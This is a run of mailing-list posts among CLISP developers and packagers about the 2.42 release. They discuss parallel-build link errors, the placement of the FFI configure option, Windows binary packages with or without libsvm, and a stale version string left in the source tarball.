/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/bindings/glibc/linux.c:816:
warning: the use of `tmpnam' is dangerous, better use `mkstemp'
/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/bindings/glibc/linux.c:817:
warning: the use of `tmpnam_r' is dangerous, better use `mkstemp'
/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/bindings/glibc/linux.c:818:
warning: the use of `tempnam' is dangerous, better use `mkstemp'
/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/bindings/glibc/linux.c:554:
warning: the use of `mktemp' is dangerous, better use `mkstemp'
modules.o:(.data+0x340): undefined reference to `module__zlib__subr_tab'
modules.o:(.data+0x348): undefined reference to `module__zlib__subr_tab_size'
modules.o:(.data+0x350): undefined reference to `module__zlib__object_tab'
modules.o:(.data+0x358): undefined reference to `module__zlib__object_tab_size'
modules.o:(.data+0x368): undefined reference to `module__zlib__subr_tab_initdata'
modules.o:(.data+0x370): undefined reference to
`module__zlib__object_tab_initdata'
modules.o:(.data+0x378): undefined reference to `module__zlib__init_function_1'
modules.o:(.data+0x380): undefined reference to `module__zlib__init_function_2'
modules.o:(.data+0x388): undefined reference to `module__zlib__fini_function'
collect2: ld returned 1 exit status
./clisp-link: failed in
/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/full

it buils fine with -j1 though,

Marijn

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Hi list,

configure --help says that --with-dynamic-ffi is the default, but without this
option I get a build error:

checking for mbstate_t... yes
checking for working POSIX fnmatch... yes
configure: ** Wildcard (Output)
updating cache ../config.cache
configure: creating ./config.status
config.status: creating Makefile
config.status: creating link.sh
config.status: creating config.h
configure: ** Wildcard (Done)
CLISP="`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -E 1:1
- -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd wildcard ; dots=`echo wildcard/ |
sed -e 's,[^/][^/]*//*,../,g' -e 's,/$,,g'` ; gmake clisp-module CC="gcc"
CPPFLAGS="" CFLAGS="-O2 -pipe -ggdb -W -Wswitch -Wcomment -Wpointer-arith
- -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O -DUNICODE
- -I." INCLUDES="$dots" CLFLAGS="-x none" LIBS="libcharset.a
/usr/lib64/libreadline.so -Wl,-rpath -Wl,/usr/lib64 -lncurses -ldl
- -L/usr/lib64 -lsigsegv -L/usr/lib64 -lc -R/usr/lib64" RANLIB="ranlib"
CLISP="$CLISP -q"
gmake[1]: Entering directory
`/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/wildcard'
/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/lisp.run -M
/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/lispinit.mem -B
/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir -N
/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/locale -E 1:1
- -Efile UTF-8 -Eterminal UTF-8 -norc -q -c wildcard.lisp
;; Compiling file
/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/wildcard/wildcard.lisp
...
*** - SYSTEM::%FIND-PACKAGE: There is no package with name "FFI"

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Marijn Schouten (hkBst) wrote:
> 
> configure --help says that --with-dynamic-ffi is the default, but without this
> option I get a build error:
> 
> checking for mbstate_t... yes
> checking for working POSIX fnmatch... yes
> configure: ** Wildcard (Output)
> updating cache ../config.cache
> configure: creating ./config.status
> config.status: creating Makefile
> config.status: creating link.sh
> config.status: creating config.h
> configure: ** Wildcard (Done)
> CLISP="`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -E 1:1
> - -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd wildcard ; dots=`echo wildcard/ |
> sed -e 's,[^/][^/]*//*,../,g' -e 's,/$,,g'` ; gmake clisp-module CC="gcc"
> CPPFLAGS="" CFLAGS="-O2 -pipe -ggdb -W -Wswitch -Wcomment -Wpointer-arith
> - -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O -DUNICODE
> - -I." INCLUDES="$dots" CLFLAGS="-x none" LIBS="libcharset.a
> /usr/lib64/libreadline.so -Wl,-rpath -Wl,/usr/lib64 -lncurses -ldl
> - -L/usr/lib64 -lsigsegv -L/usr/lib64 -lc -R/usr/lib64" RANLIB="ranlib"
> CLISP="$CLISP -q"
> gmake[1]: Entering directory
> `/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/wildcard'
> /var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/lisp.run -M
> /var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/lispinit.mem -B
> /var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir -N
> /var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/locale -E 1:1
> - -Efile UTF-8 -Eterminal UTF-8 -norc -q -c wildcard.lisp
> ;; Compiling file
> /var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/wildcard/wildcard.lisp
> ...
> *** - SYSTEM::%FIND-PACKAGE: There is no package with name "FFI"

early in the log (right before makemake runs) configure reports its 
discoveries (like building with readline, ffi, libsigsegv &c).
do you have the full log floating somewhere?
thanks


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Marijn Schouten (hkBst) wrote:
> `/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/zlib'
> gcc -O2 -pipe -ggdb -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit
> - -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O -DUNICODE
> - -DDYNAMIC_FFI -I.
> - -I/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir -c modules.c
> gcc -O2 -pipe -ggdb -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit
> - -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O -DUNICODE
> - -DDYNAMIC_FFI -I. -x none modules.o zlib.o -lz cpcre.o -lpcre linux.o -lm
> rawsock.o wildcard.o readline.o -lreadline -lncurses regexi.o regex.o calls.o
> - -lcrypt -lm gettext.o lisp.a libcharset.a libavcall.a libcallback.a
> /usr/lib64/libreadline.so -Wl,-rpath -Wl,/usr/lib64 -lncurses -ldl
> - -L/usr/lib64 -lsigsegv -L/usr/lib64 -lc -R/usr/lib64 -o lisp.run
> gcc: unrecognized option '-R/usr/lib64'
> linux.o: In function `module__linux__init_function_2':
> /var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/bindings/glibc/linux.c:816:
> warning: the use of `tmpnam' is dangerous, better use `mkstemp'
> /var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/bindings/glibc/linux.c:817:
> warning: the use of `tmpnam_r' is dangerous, better use `mkstemp'
> /var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/bindings/glibc/linux.c:818:
> warning: the use of `tempnam' is dangerous, better use `mkstemp'
> /var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/bindings/glibc/linux.c:554:
> warning: the use of `mktemp' is dangerous, better use `mkstemp'
> modules.o:(.data+0x340): undefined reference to `module__zlib__subr_tab'
> modules.o:(.data+0x348): undefined reference to `module__zlib__subr_tab_size'
> modules.o:(.data+0x350): undefined reference to `module__zlib__object_tab'
> modules.o:(.data+0x358): undefined reference to `module__zlib__object_tab_size'
> modules.o:(.data+0x368): undefined reference to `module__zlib__subr_tab_initdata'
> modules.o:(.data+0x370): undefined reference to
> `module__zlib__object_tab_initdata'
> modules.o:(.data+0x378): undefined reference to `module__zlib__init_function_1'
> modules.o:(.data+0x380): undefined reference to `module__zlib__init_function_2'
> modules.o:(.data+0x388): undefined reference to `module__zlib__fini_function'
> collect2: ld returned 1 exit status
> ./clisp-link: failed in
> /var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/full
> 
> it buils fine with -j1 though,

I don't know how parallel build works.
http://www.cygwin.com/acronyms/#PTC


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Marijn Schouten (hkBst) wrote:
> the default HyperSpec URL is set in <builddir>/config.lisp as:
> 
> (setq *clhs-root-default* "http://www.lisp.org/HyperSpec/")
> 
> but perhaps it should be set to "http://www.lisp.org/HyperSpec/FrontMatter/" ?

this is the URL to which things like "Body/sec....html" are appended.




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Jack Unrue wrote:
> I have uploaded clisp-2.42-win32-mingw-without-readline.zip to
> upload.sourceforge.net/incoming
> 
> clisp-2.42-win32-mingw-without-readline.zip
>   built by Jack Unrue <jdunrue@gmail.com>
>   using mingw without i18n and readline
>   with rawsock, dirkey, wildcard and bindings/win32

thanks, uploaded.

> It looks like autoconf needed to be run one last time so the
> version string could be set to 2.42 rather than 2.41.1. I just
> fixed that manually in configure and version.h prior to building
> the distribution zip, and I verified that 'clisp --version' and
> (lisp-implementation-version) report the correct version.

ouch!
I can't believe I did this again!

> The install.bat file was not getting copied into my build
> directory, and hence not into the distribution. I copied
> it in manually so it would be in the right place when the
> zip file got built.

hmm - is this a regression? could you please investigate?
from what I see in makemake.in it should work.

> Congratulations to Sam on this latest release!

thanks!
and thanks to all the contributors!

Sam.


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Sam Steingold wrote:
> I don't know how parallel build works.

If the makefile specifies all the dependencies correctly, then it's possible
to do parallel builds. I'm not sure how finegrained the parallelicity is, but
imagine that if one target depends on two other targets that those will be
built in parallel, instead of one after the other. But if there is a
dependency between those two targets that is not specified in the makefile the
build may run fine with -j1 but fail for higher values. -j specifies the
number of parallel instances of make to run.

> http://www.cygwin.com/acronyms/#PTC

Duly noted, I just wanted to mention it.

Marijn

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When I tried to execute clisp on win32 using this package, I got an
error message saying that libiconv-2.dll is missing,

Running clisp 2.41 works ok.

Regards,
Marko



On 10/17/07, Sam Steingold <sds@gnu.org> wrote:
> Jack Unrue wrote:
> > I have uploaded clisp-2.42-win32-mingw-without-readline.zip to
> > upload.sourceforge.net/incoming
> >
> > clisp-2.42-win32-mingw-without-readline.zip
> >   built by Jack Unrue <jdunrue@gmail.com>
> >   using mingw without i18n and readline
> >   with rawsock, dirkey, wildcard and bindings/win32
>
> thanks, uploaded.
>
> > It looks like autoconf needed to be run one last time so the
> > version string could be set to 2.42 rather than 2.41.1. I just
> > fixed that manually in configure and version.h prior to building
> > the distribution zip, and I verified that 'clisp --version' and
> > (lisp-implementation-version) report the correct version.
>
> ouch!
> I can't believe I did this again!
>
> > The install.bat file was not getting copied into my build
> > directory, and hence not into the distribution. I copied
> > it in manually so it would be in the right place when the
> > zip file got built.
>
> hmm - is this a regression? could you please investigate?
> from what I see in makemake.in it should work.
>
> > Congratulations to Sam on this latest release!
>
> thanks!
> and thanks to all the contributors!
>
> Sam.
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On 10/17/07, Sam Steingold <sds@gnu.org> wrote:
> Jack Unrue wrote:
>
> > The install.bat file was not getting copied into my build
> > directory, and hence not into the distribution. I copied
> > it in manually so it would be in the right place when the
> > zip file got built.
>
> hmm - is this a regression? could you please investigate?
> from what I see in makemake.in it should work.

Yep, I'll look into it.

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Yaroslav Kavenchuk wrote:
> I have uploaded clisp-2.42-win32-with-readline-and-gettext.zip to 
> upload.sf.net/incoming
> 
> 
> clisp-2.42-win32-with-readline-and-gettext.zip
>  built by Yaroslav Kavenchuk <kavenchuk@gmail.com>
>  using mingw with readline, gettext, i18n, rawsock, dirkey, wildcard, 
> bindings/win32,
>  pcre and zlib.

thanks - uploaded!

BTW, why do both you and Jack omit libsvm from the release?

I understand that you might not be excited by a data mining package, but 
it is valuable to a part of our target audience (AI researchers).

It is recommended in unix/INSTALL, section "Additional Information for 
Maintainers of Binary Packages", item 3 "Module selection".

Sam.



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Marijn Schouten (hkBst) wrote:
> 
> Configure findings:
>   FFI:        yes (user requested: default)
>   readline:   yes (user requested: default)
>   libsigsegv: yes
> 
> To continue building CLISP, the following commands are recommended
>   (cf. unix/INSTALL step 4):
>     cd builddir
>     ./makemake --with-dynamic-ffi  --prefix=/usr --libdir=/usr/lib64
> --hyperspec=http://www.lisp.org/HyperSpec/FrontMatter/ --with-module=wildcard
> --with-module=rawsock --wit
> h-module=bindings/glibc --with-module=clx/mit-clx --with-module=pcre
> --with-module=zlib --srcdir=../src   > Makefile
>     make config.lisp

apparently, there is some confusion here.
the top-level configure does NOT need --with-dynamic-ffi: it will test 
for it and use it by default.
makemake, however, DOES need it, and configure does put it into the list 
of recommended options, and does pass it to makemake when it calls it 
itself (when configure if invoked with --build).
however, I see no trace of makemake being invoked in your your.
did you call it by hand?


>> do you have the full log floating somewhere?
> Sure, attached.

next time, please send a URL.
this list has a very strict anti-spam rules, including "no html", "no 
attachments" etc etc.
http://clisp.cons.org/impnotes/faq.html#faq-rejected

Sam.



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On 10/17/07, Sam Steingold <sds@podval.org> wrote:
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> BTW, why do both you and Jack omit libsvm from the release?
>
> I understand that you might not be excited by a data mining package, but
> it is valuable to a part of our target audience (AI researchers).
>
> It is recommended in unix/INSTALL, section "Additional Information for
> Maintainers of Binary Packages", item 3 "Module selection".

That's fine with me. I will include the libsvm module from now on.
See my other email.

-- 
Jack Unrue


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Sam Steingold wrote:
> BTW, why do both you and Jack omit libsvm from the release?
>
> I understand that you might not be excited by a data mining package, but
> it is valuable to a part of our target audience (AI researchers).
>
> It is recommended in unix/INSTALL, section "Additional Information for
> Maintainers of Binary Packages", item 3 "Module selection".

`clisp-2.42-win32-with-readline-and-gettext.zip` with module libsvm:
http://kavenchuk.googlepages.com/clisp-2.42-win32-with-readline-gette.zip

Upload it to sf.net? If upload - with new or old name?

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Sam Steingold wrote:
> Marijn Schouten (hkBst) wrote:
>>
>> Configure findings:
>>   FFI:        yes (user requested: default)
>>   readline:   yes (user requested: default)
>>   libsigsegv: yes
>>
>> To continue building CLISP, the following commands are recommended
>>   (cf. unix/INSTALL step 4):
>>     cd builddir
>>     ./makemake --with-dynamic-ffi  --prefix=/usr --libdir=/usr/lib64
>> --hyperspec=http://www.lisp.org/HyperSpec/FrontMatter/
>> --with-module=wildcard
>> --with-module=rawsock --wit
>> h-module=bindings/glibc --with-module=clx/mit-clx --with-module=pcre
>> --with-module=zlib --srcdir=../src   > Makefile
>>     make config.lisp
> 
> apparently, there is some confusion here.
> the top-level configure does NOT need --with-dynamic-ffi: it will test
> for it and use it by default.
> makemake, however, DOES need it, and configure does put it into the list
> of recommended options, and does pass it to makemake when it calls it
> itself (when configure if invoked with --build).
> however, I see no trace of makemake being invoked in your your.
> did you call it by hand?

Yes. Because "configure --build" includes running tests my build script calls
makemake (and other steps) separately, but with almost the same options. This
is so that users can choose for themselves whether they want to run the tests
or not. I imagine it's simple enough to exclude tests from "configure
- --build". Would you accept a patch for such a change?

Thanks for the clarification.

>>> do you have the full log floating somewhere?
>> Sure, attached.
> 
> next time, please send a URL.
> this list has a very strict anti-spam rules, including "no html", "no
> attachments" etc etc.
> http://clisp.cons.org/impnotes/faq.html#faq-rejected

Sorry about that.

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Yaroslav Kavenchuk wrote:
> Sam Steingold wrote:
>> BTW, why do both you and Jack omit libsvm from the release?
>>
>> I understand that you might not be excited by a data mining package, but
>> it is valuable to a part of our target audience (AI researchers).
>>
>> It is recommended in unix/INSTALL, section "Additional Information for
>> Maintainers of Binary Packages", item 3 "Module selection".
> 
> `clisp-2.42-win32-with-readline-and-gettext.zip` with module libsvm:
> http://kavenchuk.googlepages.com/clisp-2.42-win32-with-readline-gette.zip
> 
> Upload it to sf.net? If upload - with new or old name?

yes, please upload it - but with a new name, e.g.,
clisp-2.42-win32-rl-gt-svm.zip
because the original package is not broken,
so this is not a replacement.
please also submit the exact new package description
as I should paste it into the release notes.

thanks.
Sam.


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Marijn Schouten (hkBst) wrote:
> 
> Yes. Because "configure --build" includes running tests my build script calls
> makemake (and other steps) separately, but with almost the same options. This
> is so that users can choose for themselves whether they want to run the tests
> or not. I imagine it's simple enough to exclude tests from "configure
> - --build". Would you accept a patch for such a change?

I am thinking in a different direction.
the standard GNU build process looks like this:

./configure && make && make install

I want to invoke makemake at the end of the configure step, so that the 
user will always have a makefile (he will be able to re-run makemake if 
he wishes to, of course).
this would mean that for you the process will look like

./configure ....options...
make
make check [optional]
make install

without the need for makemake invocation.

Comments?

>> next time, please send a URL.
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> 
> Sorry about that.

that's OK. thanks for understanding.



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Sam Steingold wrote:
> Marijn Schouten (hkBst) wrote:
>>
>> Yes. Because "configure --build" includes running tests my build
>> script calls
>> makemake (and other steps) separately, but with almost the same
>> options. This
>> is so that users can choose for themselves whether they want to run
>> the tests
>> or not. I imagine it's simple enough to exclude tests from "configure
>> - --build". Would you accept a patch for such a change?
> 
> I am thinking in a different direction.
> the standard GNU build process looks like this:
> 
> ./configure && make && make install
> 
> I want to invoke makemake at the end of the configure step, so that the
> user will always have a makefile (he will be able to re-run makemake if
> he wishes to, of course).
> this would mean that for you the process will look like
> 
> ./configure ....options...
> make
> make check [optional]
> make install
> 
> without the need for makemake invocation.
> 
> Comments?

Looks good to me. Will "make config.lisp" be absorbed by "make" or by "configure"?

Marijn

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> Sam Steingold wrote:
>> Marijn Schouten (hkBst) wrote:
>>> Yes. Because "configure --build" includes running tests my build
>>> script calls
>>> makemake (and other steps) separately, but with almost the same
>>> options. This
>>> is so that users can choose for themselves whether they want to run
>>> the tests
>>> or not. I imagine it's simple enough to exclude tests from "configure
>>> - --build". Would you accept a patch for such a change?
>> I am thinking in a different direction.
>> the standard GNU build process looks like this:
>>
>> ./configure && make && make install
>>
>> I want to invoke makemake at the end of the configure step, so that the
>> user will always have a makefile (he will be able to re-run makemake if
>> he wishes to, of course).
>> this would mean that for you the process will look like
>>
>> ./configure ....options...
>> make
>> make check [optional]
>> make install
>>
>> without the need for makemake invocation.
>>
>> Comments?
> 
> Looks good to me. Will "make config.lisp" be absorbed by "make" or by "configure"?

_you_ will never have to type it.
actually, you had to type it only if you wanted to edit config.lisp.



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Yaroslav Kavenchuk wrote:
> Sam Steingold wrote:
>> yes, please upload it - but with a new name, e.g.,
>> clisp-2.42-win32-rl-gt-svm.zip
>> because the original package is not broken,
>> so this is not a replacement.
>> please also submit the exact new package description
>> as I should paste it into the release notes.
> 
> clisp-2.42-win32-rl-gt-svm.zip


released.
thanks.


>  built by Yaroslav Kavenchuk <kavenchuk@gmail.com>
>  using mingw with readline, gettext, i18n, rawsock, dirkey,
>  wildcard, bindings/win32, pcre, zlib and libsvm.

is regexp included too?





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Sam Steingold wrote:
> yes, please upload it - but with a new name, e.g.,
> clisp-2.42-win32-rl-gt-svm.zip
> because the original package is not broken,
> so this is not a replacement.
> please also submit the exact new package description
> as I should paste it into the release notes.

clisp-2.42-win32-rl-gt-svm.zip

  built by Yaroslav Kavenchuk <kavenchuk@gmail.com>
  using mingw with readline, gettext, i18n, rawsock, dirkey,
  wildcard, bindings/win32, pcre, zlib and libsvm.

-- 
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Sam,

> the standard GNU build process looks like this:
> 
> ./configure && make && make install
> 
> I want to invoke makemake at the end of the configure step, so that the 
> user will always have a makefile (he will be able to re-run makemake if 
> he wishes to, of course).
> this would mean that for you the process will look like
> 
> ./configure ....options...
> make
> make check [optional]
> make install
> 
> without the need for makemake invocation.
> 
> Comments?

Yes, please. This is the way to go. There's not much point in showing
a "recommended" way to invoke makemake. Most of the time, the user
runs just this recommendation. For people who don't agree with the
recommendations, GNU standards say that the user should invoke configure
again, with different --enable-... or --disable-... options. Yes, it takes
a little more time to do so, but a configure run does not take 15 minutes
any more, as it did 10 years ago.

The more 'configure' behaves in a standard way, the easier to use it is
for people.

Bruno



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Sam Steingold wrote:
>>  built by Yaroslav Kavenchuk <kavenchuk@gmail.com>
>>  using mingw with readline, gettext, i18n, rawsock, dirkey,
>>  wildcard, bindings/win32, pcre, zlib and libsvm.
> 
> is regexp included too?

Yes

$ ./clisp -K full --version
GNU CLISP 2.42 (2007-10-16) (built on stnt067 [192.168.0.1])
Software: GNU C 3.4.5 (mingw special)
gcc -mno-cygwin -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit 
-Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 
-fexpensive-optimizations -falign-functions=4 -D_WIN32 -DUNICODE 
-DDYNAMIC_FFI -I. -x none /usr/local/lib/libintl.a -L/usr/local/lib 
-L/mingw/lib /usr/local/lib/libiconv.a -L/usr/local/lib libcharset.a 
libavcall.a libcallback.a /usr/local/lib/libreadline.a -ltermcap 
-luser32 -lws2_32 -lole32 -loleaut32
  -luuid /usr/local/lib/libiconv.a -L/usr/local/lib -L/mingw/lib 
-L/usr/local/lib -lsigsegv
SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS 
SPVW_MIXED TRIVIALMAP_MEMORY
libsigsegv 2.4
libiconv 1.11
libreadline 5.0
Features:
(ZLIB RAWSOCK PCRE WILDCARD DIRKEY READLINE REGEXP SYSCALLS I18N LOOP 
COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS
  GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE 
BASE-CHAR=CHARACTER PC386 WIN32)
C Modules: (clisp i18n syscalls regexp readline dirkey wildcard pcre 
rawsock zlib)
Installation directory: C:\clisp-2.42\
User language: ENGLISH
Machine: PC/386 (PC/686) home [194.158.220.48]

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Sam Steingold schrieb:
> Yaroslav Kavenchuk wrote:
>> I have uploaded clisp-2.42-win32-with-readline-and-gettext.zip to 
>> upload.sf.net/incoming
>> clisp-2.42-win32-with-readline-and-gettext.zip
>>  built by Yaroslav Kavenchuk <kavenchuk@gmail.com>
>>  using mingw with readline, gettext, i18n, rawsock, dirkey, wildcard, 
>> bindings/win32,
>>  pcre and zlib.
> 
> BTW, why do both you and Jack omit libsvm from the release?
> 
> I understand that you might not be excited by a data mining package, but 
> it is valuable to a part of our target audience (AI researchers).

I'll include it in cygwin, also new-clx from now on (together with the 
new gdbm of course), but the bad news is that the cygwin package will 
need some more days, because I'm moving to Vienna for two weeks.

With my experimental win32 gdi module: I believe I'll seperate it into
its own new clisp-gdi package to avoid confusion.
-- 
Reini Urban - cygwin maintainer of clisp


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I'm running 64-bit AMD OpenBSD 4.2 and I would like to use
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I just downloaded and compiled clisp-2.42.tar.bz2 from Sourceforge:

CL-USER> (lisp-implementation-version)
"2.41.1 (2007-10-12) (built 3401963735) (memory 3401964241)"
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src/version.h has not been updated.


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dfeustel@mindspring.com wrote:
> I'm running 64-bit AMD OpenBSD 4.2 and I would like to use
> CLisp, but OpenBSD provides no 64-bit version of CLISP because
> of a loader problem. Is this problem going to be fixed?

what problem are you talking about?

Sam.




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Reini Urban wrote:
> 
> I'll include it in cygwin, also new-clx from now on (together with the 
> new gdbm of course), but the bad news is that the cygwin package will 
> need some more days, because I'm moving to Vienna for two weeks.
> 
> With my experimental win32 gdi module: I believe I'll seperate it into
> its own new clisp-gdi package to avoid confusion.

I think it might be a good idea to move new-clx into a separate package.
I think most cygwin users do not use X (and do not even install it), so 
including new-clx will make the full image unusable for them.



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On Sun, Oct 21, 2007 at 12:13:21PM -0400, Sam Steingold wrote:
> dfeustel@mindspring.com wrote:
> >I'm running 64-bit AMD OpenBSD 4.2 and I would like to use
> >CLisp, but OpenBSD provides no 64-bit version of CLISP because
> >of a loader problem. Is this problem going to be fixed?
> 
> what problem are you talking about?
> 
> Sam.
> 

On OpenBSD 4.1, attempts to load and execute clisp generate
a loader error. Clisp is not available as a package on 64-bit AMD OpenBSD
4.2 as a result-- 


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dave wrote:
> On Sun, Oct 21, 2007 at 12:13:21PM -0400, Sam Steingold wrote:
>> dfeustel@mindspring.com wrote:
>>> I'm running 64-bit AMD OpenBSD 4.2 and I would like to use
>>> CLisp, but OpenBSD provides no 64-bit version of CLISP because
>>> of a loader problem. Is this problem going to be fixed?
>> what problem are you talking about?
> 
> On OpenBSD 4.1, attempts to load and execute clisp generate
> a loader error. Clisp is not available as a package on 64-bit AMD OpenBSD
> 4.2 as a result-- 

I am afraid I still have no clue.
I don't know what a "loader error" is.
CLISP builds OOTB on amd64 with linux.
I do not have access to OpenBSD
(or any BSD for that matter),
so all I can say is PTC.

Sam.




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On Sun, Oct 21, 2007 at 05:53:00PM -0400, Sam Steingold wrote:
> dave wrote:
> >On Sun, Oct 21, 2007 at 12:13:21PM -0400, Sam Steingold wrote:
> >>dfeustel@mindspring.com wrote:
> >>>I'm running 64-bit AMD OpenBSD 4.2 and I would like to use
> >>>CLisp, but OpenBSD provides no 64-bit version of CLISP because
> >>>of a loader problem. Is this problem going to be fixed?
> >>what problem are you talking about?
> >
> >On OpenBSD 4.1, attempts to load and execute clisp generate
> >a loader error. Clisp is not available as a package on 64-bit AMD OpenBSD
> >4.2 as a result-- 
> 
> I am afraid I still have no clue.
> I don't know what a "loader error" is.
> CLISP builds OOTB on amd64 with linux.
> I do not have access to OpenBSD
> (or any BSD for that matter),
> so all I can say is PTC.
> 
> Sam.
> 

OK. Thanks.
-- 


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> Date: Sun, 21 Oct 2007 16:37:46 +0000 (GMT)
> From: dave <dfeustel@mindspring.com>
> Subject: Re: [clisp-list] 64-bit CLISP - Does it exist?
> To: clisp-list@lists.sourceforge.net
> 
> On Sun, Oct 21, 2007 at 12:13:21PM -0400, Sam Steingold wrote:
> > dfeustel@mindspring.com wrote:
> > >I'm running 64-bit AMD OpenBSD 4.2 and I would like to use
> > >CLisp, but OpenBSD provides no 64-bit version of CLISP because
> > >of a loader problem. Is this problem going to be fixed?
> > 
> > what problem are you talking about?
> > 
> > Sam.
> > 
> 
> On OpenBSD 4.1, attempts to load and execute clisp generate
> a loader error. Clisp is not available as a package on 64-bit AMD OpenBSD
> 4.2 as a result-- 


Dave,

If it helps, I'm running CLISP just fine on 64-bit Linux, Debian
"etch" 2.6 kernel.  Processor is Intel Core 2 Duo (amd64).  Works
great.  All the FFI stuff incl. Oracle and FastCGI that I use seems
fine too.

It may help to post the message of the actual load error that occurs,
or how to discover more detail of the problem.  I'm surprised it would
not work on OpenBSD if it works on Linux(?).

Hope that helps,

		John Hinsdale



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Aurelio Bignoli wrote:
> I just downloaded and compiled clisp-2.42.tar.bz2 from Sourceforge:
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> CL-USER> (lisp-implementation-version)
> "2.41.1 (2007-10-12) (built 3401963735) (memory 3401964241)"
> CL-USER> 
> 
> src/version.h has not been updated.

indeed, my fault, sorry.
however, it has been my understanding that src/version.h is used only on
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is that what you are using?

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2007/10/21, Sam Steingold <sds@gnu.org>:
> Reini Urban wrote:
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> > I'll include it in cygwin, also new-clx from now on (together with the
> > new gdbm of course), but the bad news is that the cygwin package will
> > need some more days, because I'm moving to Vienna for two weeks.
> >
> > With my experimental win32 gdi module: I believe I'll seperate it into
> > its own new clisp-gdi package to avoid confusion.
>
> I think it might be a good idea to move new-clx into a separate package.
> I think most cygwin users do not use X (and do not even install it), so
> including new-clx will make the full image unusable for them.

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> On Sun, Oct 21, 2007 at 05:53:00PM -0400, Sam Steingold wrote:
>> dave wrote:
>>> On Sun, Oct 21, 2007 at 12:13:21PM -0400, Sam Steingold wrote:
>>>> dfeustel@mindspring.com wrote:
>>>>> I'm running 64-bit AMD OpenBSD 4.2 and I would like to use
>>>>> CLisp, but OpenBSD provides no 64-bit version of CLISP because
>>>>> of a loader problem. Is this problem going to be fixed?
>>>> what problem are you talking about?
>>> On OpenBSD 4.1, attempts to load and execute clisp generate
>>> a loader error. Clisp is not available as a package on 64-bit AMD OpenBSD
>>> 4.2 as a result-- 
>> I am afraid I still have no clue.
>> I don't know what a "loader error" is.
>> CLISP builds OOTB on amd64 with linux.
>> I do not have access to OpenBSD
>> (or any BSD for that matter),
>> so all I can say is PTC.
> 
> OK. Thanks.

BTW, did you look at clisp/unix/PLATFORMS?
it has several notes about various BSD flavors on AMD64.

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 > > 
 > > CL-USER> (lisp-implementation-version)
 > > "2.41.1 (2007-10-12) (built 3401963735) (memory 3401964241)"
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 > > src/version.h has not been updated.
 > 
 > indeed, my fault, sorry.
 > however, it has been my understanding that src/version.h is used only on
 > non-autoconf platforms, specifically, msvc.
 > is that what you are using?

no, I'm using Slackware Linux and gcc 4. I think the problem could be
in src/configure. The version included in clisp-2.42.tar.bz2 begins
with the following comment:

#! /bin/sh
# From configure.in Id: configure.in,v 1.115 2007/03/08 03:08:30 sds Exp .
# Guess values for system-dependent variables and create Makefiles.
# Generated by GNU Autoconf 2.59 for GNU CLISP 2.41.1 (2007-10-12).

and after a few lines:

PACKAGE_VERSION='2.41.1 (2007-10-12)'
PACKAGE_STRING='GNU CLISP 2.41.1 (2007-10-12)'
PACKAGE_BUGREPORT='http://clisp.cons.org/'

And Makefile.devel there is another interesting comment:

## RELEASE TODO:
# Before doing a "make distrib":
# * update version.sh, src/NEWS, clisp.lsm, doc/history.xml
# * "make -f Makefile.devel all"
# === Note that for clisp to report its version correctly, src/version.h and
# === src/configure must be regenerated after version.sh is updated
# web pages to be updated:
# * www/index.php, www/impnotes.html, www/clisp.html, www/impnotes/
# dates to be updated:
# * banner in spvw.d
# * COPYRIGHT
# * clisp-doc-copyright in impent.xml

Aurelio


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The "current version:" shown in the official (and mirror) site is 2.41 
(2006-10-13), whereas there was an announcement of clisp 2.42 and the 
NEWS doc for it says: 2.42 (2007-10-16).

Is there any reason for not considering 2.42 current?

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> NEWS doc for it says: 2.42 (2007-10-16).

oops.
fixed.
thanks for reporting.

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Hi Sam,

Actually I was working on the 2.42 debian package. I downloaded
http://ftp.gnu.org/pub/gnu/clisp/latest/clisp-2.42.tar.bz2 and:

$ cat src/version.h
/* generated by Makefile.devel from version.sh */
#define PACKAGE_NAME "GNU CLISP"
#define PACKAGE_TARNAME "clisp"
#define PACKAGE_VERSION "2.41.1 (2007-10-12)"
